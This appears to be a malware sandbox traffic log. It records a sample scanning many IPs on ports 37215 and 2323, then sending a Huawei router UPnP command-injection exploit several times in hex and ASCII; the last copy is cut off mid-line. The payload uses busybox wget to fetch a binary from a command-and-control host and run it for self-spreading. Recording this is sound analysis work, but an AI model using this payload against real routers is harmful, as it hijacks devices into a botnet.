Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.91.22.90:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.108.93.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.146.115.204:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.111.238.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.169.248.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.69.230.161:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.145.223.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.179.148.32:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.132.46.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.27.232.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.139.236.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.91.137.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.200.109.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.69.84.140:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.94.87.15:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.5.141.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.247.161.163:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.166.221.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.165.45.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.241.155.244:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.151.233.91:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.246.238.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.6.80.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.201.93.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.237.12.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.129.25.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.65.254.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.186.68.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.59.3.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.141.136.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.246.191.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.192.123.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.128.19.211:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.37.12.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.145.103.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.254.89.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.13.191.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.78.180.35:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.60.224.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.189.3.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.159.146.78:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.214.75.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.136.33.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.134.141.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.242.166.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.162.153.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.211.237.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.122.63.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.153.206.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.247.143.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.13.41.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.69.180.124:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.75.84.77:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.116.47.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.86.84.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.63.70.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.33.33.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.4.80.223:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.63.150.39:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.117.104.219:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.108.137.121:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.40.56.40:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.255.91.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.36.85.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.249.26.125:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.69.132.171:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.70.248.235:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.86.204.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.69.79.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.76.164.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.98.102.132:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.239.191.28:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.18.162.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.205.9.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.14.12.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.100.33.15:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.55.4.75:37215
Source: global traffic	TCP traffic: 192.168.2.14:32934 -> 198.12.107.126:1420
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 112.206.38.156:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 36.102.147.195:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 111.135.50.133:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 152.81.80.242:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 90.74.165.178:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 221.127.72.70:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 141.210.217.128:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 83.242.172.205:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 94.179.21.111:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 48.250.231.90:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 111.250.121.179:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 89.157.131.233:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 187.217.134.8:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 75.150.181.148:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 4.86.39.78:2323
Source: global traffic	TCP traffic: 192.168.2.14:36201 -> 78.224.64.205:2323
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.7.194.104:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.121.220.202:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.52.237.20:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.151.65.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.194.109.22:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.13.60.154:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.10.157.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.156.175.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.150.58.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.134.113.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.152.142.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.83.38.26:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.165.77.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.183.20.101:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.89.176.60:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.222.185.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.3.226.84:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.210.172.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.58.202.7:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.244.244.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.156.187.190:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.221.48.42:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.186.94.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.82.171.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.240.132.73:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.3.68.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.76.90.76:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.54.97.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.7.176.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.52.180.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.101.24.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.203.30.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.6.240.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.151.17.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.205.138.252:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.231.92.232:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.74.217.151:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.88.174.183:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.60.20.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.170.28.241:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.22.236.138:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.198.165.118:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.60.154.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.180.110.71:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.250.124.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.145.248.74:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.147.6.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.213.53.56:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.61.51.128:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.20.5.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.85.120.162:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.7.120.21:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.79.230.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.190.58.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.228.42.126:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.58.149.0:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.162.203.134:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.56.133.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.115.200.187:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.238.42.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.197.128.63:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.163.58.45:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.20.22.48:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.95.4.186:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.136.37.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.110.248.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.232.220.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.144.37.89:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.214.108.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.120.245.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.25.98.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.245.81.105:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.109.80.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.46.190.214:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.39.202.18:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.53.118.108:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.71.63.99:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.126.207.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.35.130.83:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.12.132.141:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.111.110.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.132.117.43:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.111.18.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.161.87.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.119.234.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.17.7.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.103.29.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.43.89.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.163.203.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.153.123.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.155.208.66:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.4.187.194:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.90.159.24:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.101.55.111:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.224.117.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.69.242.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.132.210.58:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.151.158.33:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.89.33.112:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.145.220.120:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.145.62.16:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.244.26.215:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.16.70.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.31.188.224:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.161.49.109:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.112.101.146:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.247.170.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.137.3.199:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.97.250.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.61.10.217:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.21.175.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.161.10.54:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.175.242.142:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.42.71.2:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.206.130.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.188.33.13:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.91.123.208:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.178.171.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.237.172.189:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.15.167.152:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.54.59.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.90.144.201:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.218.30.46:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.132.155.248:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.235.192.220:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.196.18.50:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.211.34.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.145.15.102:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.100.11.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.129.59.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.187.157.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.20.81.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.50.59.30:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.73.3.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.114.3.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.16.193.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.178.239.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.44.88.222:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.147.64.213:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.80.13.173:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.56.134.130:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.60.166.185:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.102.60.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 156.125.31.160:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 197.163.52.70:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.97.40.64:37215
Source: global traffic	TCP traffic: 192.168.2.14:35945 -> 41.28.154.247:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6e 6f 6d 65 75 6d 2e 6e 65 74 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.nomeum.net -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 